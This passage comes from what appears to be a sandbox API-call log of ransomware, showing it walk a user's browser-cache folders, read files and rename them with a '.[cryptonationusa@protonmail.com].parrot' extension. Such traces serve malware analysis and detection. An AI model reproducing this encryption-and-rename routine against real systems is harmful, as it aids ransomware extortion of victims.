ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MM5O9XQS", cAlternateFileName="")) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PMMR5K9K", cAlternateFileName="")) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2b7a8160, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2b7a8160, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIJUQL1C", cAlternateFileName="")) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 1 [0077.672] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c153ac0, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2c153ac0, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="X9OHK109", cAlternateFileName="")) returned 0 [0077.672] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.699] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.699] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.699] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.699] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.699] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.699] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0077.699] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.MSO\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.700] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.700] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x2dbf3370, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x2dbf3370, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2dbf3370, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.700] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.700] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.700] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.700] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.700] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.700] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.700] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0077.701] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.701] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.701] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xe7138400, ftCreationTime.dwHighDateTime=0x1d2e625, ftLastAccessTime.dwLowDateTime=0x27b4c650, ftLastAccessTime.dwHighDateTime=0x1d3aaba, ftLastWriteTime.dwLowDateTime=0x32c0a7d0, ftLastWriteTime.dwHighDateTime=0x1d3aaba, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0077.701] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0077.701] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.701] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x51445650, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x51445650, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.701] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.701] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.701] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AntiPhishing", cAlternateFileName="ANTIPH~1")) returned 1 [0077.701] lstrcmpW (lpString1="AntiPhishing", lpString2=".") returned 1 [0077.702] lstrcmpW (lpString1="AntiPhishing", lpString2="..") returned 1 [0077.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x6ace78 [0077.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x6af408 [0077.702] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.702] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.702] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.702] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.702] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.702] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x50f10630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x47f94, dwReserved0=0x0, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat", cAlternateFileName="2CEDBF~1.DAT")) returned 1 [0077.702] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60b6e8 [0077.702] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.702] ReadFile (in: hFile=0x264, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0077.704] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.704] ReadFile (in: hFile=0x264, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x47f94, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e604*=0x47f94, lpOverlapped=0x0) returned 1 [0077.711] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.721] SetFilePointerEx (in: hFile=0x264, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.721] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.733] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\antiphishing\\2cedbfbc-dba8-43aa-b1fd-cc8e6316e3e2.dat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.765] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\AntiPhishing\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.765] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xbbd47540, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbbd47540, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.766] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50f10630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x50f10630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbbcfb280, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x480b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="2CEDBFBC-DBA8-43AA-B1FD-CC8E6316E3E2.dat.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="2CEDBF~1.PAR")) returned 1 [0077.766] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb0) returned 0x6aad70 [0077.767] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0077.842] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.842] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.842] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.842] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.842] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="9QH4S0GZ", cAlternateFileName="")) returned 1 [0077.845] lstrcmpW (lpString1="9QH4S0GZ", lpString2=".") returned 1 [0077.846] lstrcmpW (lpString1="9QH4S0GZ", lpString2="..") returned 1 [0077.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0077.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d8500 [0077.846] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x136) returned 0x3176968 [0077.848] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\*", fInfoLevelId=0x0, lpFindFileData=0x18e3cc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e3cc) returned 0x600590 [0077.928] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0077.928] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5137ebf0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x5137ebf0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0077.932] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0077.932] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0077.932] FindNextFileW (in: hFindFile=0x600590, lpFindFileData=0x18e3cc | out: lpFindFileData=0x18e3cc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbdbb73b0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbdbb73b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbdc03670, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x39d41, dwReserved0=0x0, dwReserved1=0x0, cFileName="28-8f3193-f30905ea[1]", cAlternateFileName="28-8F3~1")) returned 1 [0077.932] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0077.932] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.933] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0077.939] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.970] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x39d41, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x39d41, lpOverlapped=0x0) returned 1 [0077.972] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0077.979] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0077.979] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0077.989] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\28-8f3193-f30905ea[1]" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\28-8f3193-f30905ea[1]"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\28-8f3193-f30905ea[1].[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\28-8f3193-f30905ea[1].[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0077.994] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0077.994] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0077.999] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0077.999] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2ecb, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2ecb, lpOverlapped=0x0) returned 1 [0078.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.000] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.000] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.001] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.005] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\528d82a2[1].js.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\528d82a2[1].js.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0078.008] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.008] ReadFile (in: hFile=0x278, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0078.010] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.010] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x135, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x135, lpOverlapped=0x0) returned 1 [0078.010] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0078.011] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0078.011] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0078.011] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\aa3e3xc[2].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\AA3e3XC[2].png.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet 